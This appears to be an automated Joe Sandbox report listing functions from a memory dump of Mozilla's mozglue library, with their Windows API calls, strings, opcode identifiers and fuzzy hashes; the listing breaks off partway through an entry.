Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 7adaa7e7359c183014564a721164bcd82656fc1a7f2df377fde2dc851c45cfdd
Instruction ID: 3d120cdb6ee76dd1ab387adf6ee0788bf2008abc06b52c2940aae513fde7669f
Opcode Fuzzy Hash: 7adaa7e7359c183014564a721164bcd82656fc1a7f2df377fde2dc851c45cfdd
Instruction Fuzzy Hash: 9B317275B001859FDF04EFB9C868EEE7775FB45309F50C019E515A3650E670D905CB62

Function 6CBC4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CC04843,?), ref: 6CBC45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CC04843,?), ref: 6CBC468A
free.MOZGLUE(?,?,?,?,?,?,6CC04843,?), ref: 6CBC46C9
free.MOZGLUE(?), ref: 6CBC46EF
free.MOZGLUE(?), ref: 6CBC4712
free.MOZGLUE(?), ref: 6CBC4735
free.MOZGLUE(?), ref: 6CBC4758
free.MOZGLUE(?), ref: 6CBC477B
free.MOZGLUE(?), ref: 6CBC479E

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 0f2cc42e2a65146dc99ec5d2699c87305b2c15c8b55805fd7adae8b8675a2ba5
Instruction ID: bf9cc10df7a96fef12afe63354f0705225564902f86dd18d89908db01c8f6869
Opcode Fuzzy Hash: 0f2cc42e2a65146dc99ec5d2699c87305b2c15c8b55805fd7adae8b8675a2ba5
Instruction Fuzzy Hash: 9DB1D071B001918FDB188F2CC8D077D76B2AF46328F184669E816DBBC6D7309A448F93

Function 6CC2AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CC2AC52
CreateFileMappingW.KERNEL32 ref: 6CC2AC7D
GetSystemInfo.KERNEL32 ref: 6CC2AC98
MapViewOfFile.KERNEL32 ref: 6CC2ACB0
GetSystemInfo.KERNEL32 ref: 6CC2ACCD
MapViewOfFile.KERNEL32 ref: 6CC2AD05
UnmapViewOfFile.KERNEL32 ref: 6CC2AD1C
CloseHandle.KERNEL32 ref: 6CC2AD28
UnmapViewOfFile.KERNEL32 ref: 6CC2AD37
CloseHandle.KERNEL32 ref: 6CC2AD43
CloseHandle.KERNEL32 ref: 6CC2AD67

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 08e700b0aa6c3df1cb8887e296c835273a5aa441957355759064dba435e82306
Instruction ID: d1dc858664964f49bec4a7a7fb532e93b656c3d1fd797c14c6385a4532dcd2bb
Opcode Fuzzy Hash: 08e700b0aa6c3df1cb8887e296c835273a5aa441957355759064dba435e82306
Instruction Fuzzy Hash: 4F314FB1A047058FDB00BF7DD64866EBBF0BF85309F01C92DE99997211EB749848CB82

Function 6CBD9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CBD9675
__Init_thread_footer.LIBCMT ref: 6CBD9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CBD96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CBD9707
__Init_thread_footer.LIBCMT ref: 6CBD971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBD9773

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CBD97B7
FreeLibrary.KERNEL32 ref: 6CBD97D0
FreeLibrary.KERNEL32 ref: 6CBD97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CBD9824

Strings

MapViewOfFileNuma2, xrefs: 6CBD97B1
ntdll.dll, xrefs: 6CBD96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CBD9670
NtMapViewOfSection, xrefs: 6CBD9701

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 0211c465186d945558dc54e57951decf46408e3a7956321da8e227af5da276a8
Instruction ID: 1ff6f8a8ea5e35ea85c481f8b268ddf4552ac39c22910c289dfd6c1b1bfe4db2
Opcode Fuzzy Hash: 0211c465186d945558dc54e57951decf46408e3a7956321da8e227af5da276a8
Instruction Fuzzy Hash: 8D41B175B002459FDF00EFA5D994A9A7BB4EB49319F01C128ED1597740EB34E819CFA2

Function 6CBC1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4E784), ref: 6CBC1EC1
LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBC1EE1
EnterCriticalSection.KERNEL32(6CC4E744), ref: 6CBC1F38
LeaveCriticalSection.KERNEL32(6CC4E744), ref: 6CBC1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CBC1F83
LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBC1FC0
EnterCriticalSection.KERNEL32(6CC4E784), ref: 6CBC1FE2
LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBC1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBC2019

Strings

MOZ_CRASH(), xrefs: 6CBC2000

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: f6f60ae7f28461d87ef39f309018964fd49a136564e137313b809f8ac1e99c56
Instruction ID: 2116b64ce83258ddb041d4feef6f70b5ce677ba7cf343b13f3ed7ce5180d1634
Opcode Fuzzy Hash: f6f60ae7f28461d87ef39f309018964fd49a136564e137313b809f8ac1e99c56
Instruction Fuzzy Hash: FC41D375B043558BDF00EF78C898B6E7AB5EF4A358F05C029E914A7741EB7198048BD2

Function 6CBD7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBD7EA7
malloc.MOZGLUE(00000001), ref: 6CBD7EB3

Part of subcall function 6CBDCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CBDCB49
Part of subcall function 6CBDCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CBDCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CBD7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CBD7F19
malloc.MOZGLUE(?), ref: 6CBD7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBD7F4D

Strings

d, xrefs: 6CBD7F89

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 6a4bee348d48f4e09d4bba3923917ae417f104cfe44d4aa32fdd057944990961
Instruction ID: 2233b74dff741a639f9dfcfbb9cc372ffb012289ceb17d3f8fc362901cbd1ac6
Opcode Fuzzy Hash: 6a4bee348d48f4e09d4bba3923917ae417f104cfe44d4aa32fdd057944990961
Instruction Fuzzy Hash: 7C31F671E1039897DF00DB68DC449FEB778EF96208F059668EC495B612FB71A9C8C391

Function 6CBD3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6CBD3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CBD3FDC
RtlAllocateHeap.NTDLL ref: 6CBD4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CBD40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CBD3CCC), ref: 6CBD40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CBD3CCC), ref: 6CBD40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CBD4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CBD3CCC), ref: 6CBD4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CBD3CCC), ref: 6CBD4157

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 349e2a77ab6740c9c46eef529c9e36d1e11b04a4b6aae4a8791e5e3a9a063f57
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 35A18FB6A00255CFDB40CF28C88065AB7B5FF48308F2645A9D909EF742D771E886CFA1

Function 6CC19D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC18273), ref: 6CC19D65
free.MOZGLUE(6CC18273,?), ref: 6CC19D7C
free.MOZGLUE(?,?), ref: 6CC19D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC19E0F
free.MOZGLUE(6CC1946B,?,?), ref: 6CC19E24
free.MOZGLUE(?,?,?), ref: 6CC19E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CC19EC8
free.MOZGLUE(6CC1946B,?,?,?), ref: 6CC19EDF
free.MOZGLUE(?,?,?,?), ref: 6CC19EF5

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7d556aa6f61806810eafc06cc48b313be9d340be728663e67644e5327bcfa6df
Instruction ID: 1c1a7badc2b4b7c83f7c048fe639eff73c38f3e1e59812abb20619b26e6feefe
Opcode Fuzzy Hash: 7d556aa6f61806810eafc06cc48b313be9d340be728663e67644e5327bcfa6df
Instruction Fuzzy Hash: 4E71AFB0909B818BD712CF19C48055BF3F4FF99715B44965DE89A9BB02EB30E889CBC1

Function 6CC1DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CC1DDCF

Part of subcall function 6CBFFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBFFA4B

Part of subcall function 6CC190E0: free.MOZGLUE(?,00000000,?,?,6CC1DEDB), ref: 6CC190FF
Part of subcall function 6CC190E0: free.MOZGLUE(?,00000000,?,?,6CC1DEDB), ref: 6CC19108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC1DE0D
free.MOZGLUE(00000000), ref: 6CC1DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC1DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC1DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC1DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CC0DEFD,?,6CBD4A68), ref: 6CC1DF32

Part of subcall function 6CC1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC1DB86
Part of subcall function 6CC1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC1DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CC0DEFD,?,6CBD4A68), ref: 6CC1DF65
free.MOZGLUE(?), ref: 6CC1DF80

Part of subcall function 6CBE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBE5EDB
Part of subcall function 6CBE5E90: memset.VCRUNTIME140(6CC27765,000000E5,55CCCCCC), ref: 6CBE5F27
Part of subcall function 6CBE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBE5FB2

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: e716ad82ff34f758ffd66578a1b92cbd1c8aa8ed967eb2926c1bec5e64a8c99f
Instruction ID: 58b3babddf330c57cf3a707606286de0d368ab45a114c7fbe01e2e0e06ee42ac
Opcode Fuzzy Hash: e716ad82ff34f758ffd66578a1b92cbd1c8aa8ed967eb2926c1bec5e64a8c99f
Instruction Fuzzy Hash: BD51F9726097009BD722DF1AC8802AE7372BF95349F95411DD81A53F00F731F91ADB92

Function 6CC25D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25DC9
std::_Facet_Register.LIBCPMT ref: 6CC25DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25E45

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 0cf288fae6d19a8d83a58a6edc9e6393a32c65aa04cbc1d12b6c88f18959de2d
Instruction ID: 6510c9a932ef9a741e2b8c1ba1950e9e0adde6573da5ec7b8585ebd0f11e295c
Opcode Fuzzy Hash: 0cf288fae6d19a8d83a58a6edc9e6393a32c65aa04cbc1d12b6c88f18959de2d
Instruction Fuzzy Hash: C24182707002059FCB00EF65C998AAE77B5EF89318F5480A8E50A97795EB39D805CF51

Function 6CBFCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CBC31A7), ref: 6CBFCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CBFCFA4, 6CBFCFB8
<jemalloc>, xrefs: 6CBFCF9F, 6CBFCFB3

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 264e39c0fabd2c1bdb4e53e9ebf1518fb7b84c1820e4269e797861ff3ccad158
Instruction ID: 7681fd8ee77f274601fc59efe918c977538702ac8d11deeb5f7454e5744431c2
Opcode Fuzzy Hash: 264e39c0fabd2c1bdb4e53e9ebf1518fb7b84c1820e4269e797861ff3ccad158
Instruction Fuzzy Hash: FF31C4307402455BFF20AF698C55BAE7B75EB41758F20C018F624ABBC0EB70E44A87A2

Function 6CBCECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBCF100: LoadLibraryW.KERNEL32(shell32,?,6CC3D020), ref: 6CBCF122
Part of subcall function 6CBCF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBCF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CBCED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBCEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CBCEDCC
CreateFileW.KERNEL32 ref: 6CBCEE08
free.MOZGLUE(00000000), ref: 6CBCEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CBCEE32

Part of subcall function 6CBCEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CBCEBB5
Part of subcall function 6CBCEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CBFD7F3), ref: 6CBCEBC3
Part of subcall function 6CBCEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CBFD7F3), ref: 6CBCEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CBCEDC1

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: bff5b2f5ae979bbd9f04bf5540562e5a6a32f9d387bff4ace754244ecdf96b8b
Instruction ID: 7695ae3b46ef2907fada0c3c9a47c8544de75c15d9b456765be4ca9e05317f1d
Opcode Fuzzy Hash: bff5b2f5ae979bbd9f04bf5540562e5a6a32f9d387bff4ace754244ecdf96b8b
Instruction Fuzzy Hash: 0851E171E052D9CBDB10DF68D8426EEB7B0EF49358F04852DE8556B740E730A988CBA3

Function 6CC3A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC3A565

Part of subcall function 6CC3A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC3A4BE
Part of subcall function 6CC3A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC3A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC3A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CC3A6B6

Strings

0, xrefs: 6CC3A5FB
z, xrefs: 6CC3A6AE

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 80b5a86c7d797b8d2936c4e934821b928524b984b96f027f79f937f9e79aa7a2
Instruction ID: 26c175b2db670ab8eec0d5c89cf055e77355f4f69d978da6fcc29c80b1d93ecd
Opcode Fuzzy Hash: 80b5a86c7d797b8d2936c4e934821b928524b984b96f027f79f937f9e79aa7a2
Instruction Fuzzy Hash: 86413571A087459FC741DF28D080A8FBBF4BFC9344F409A2EE49987650EB30E659CB82

Function 6CC09420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
__Init_thread_footer.LIBCMT ref: 6CC0949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CC0947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CC0946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CC09459

Memory Dump Source

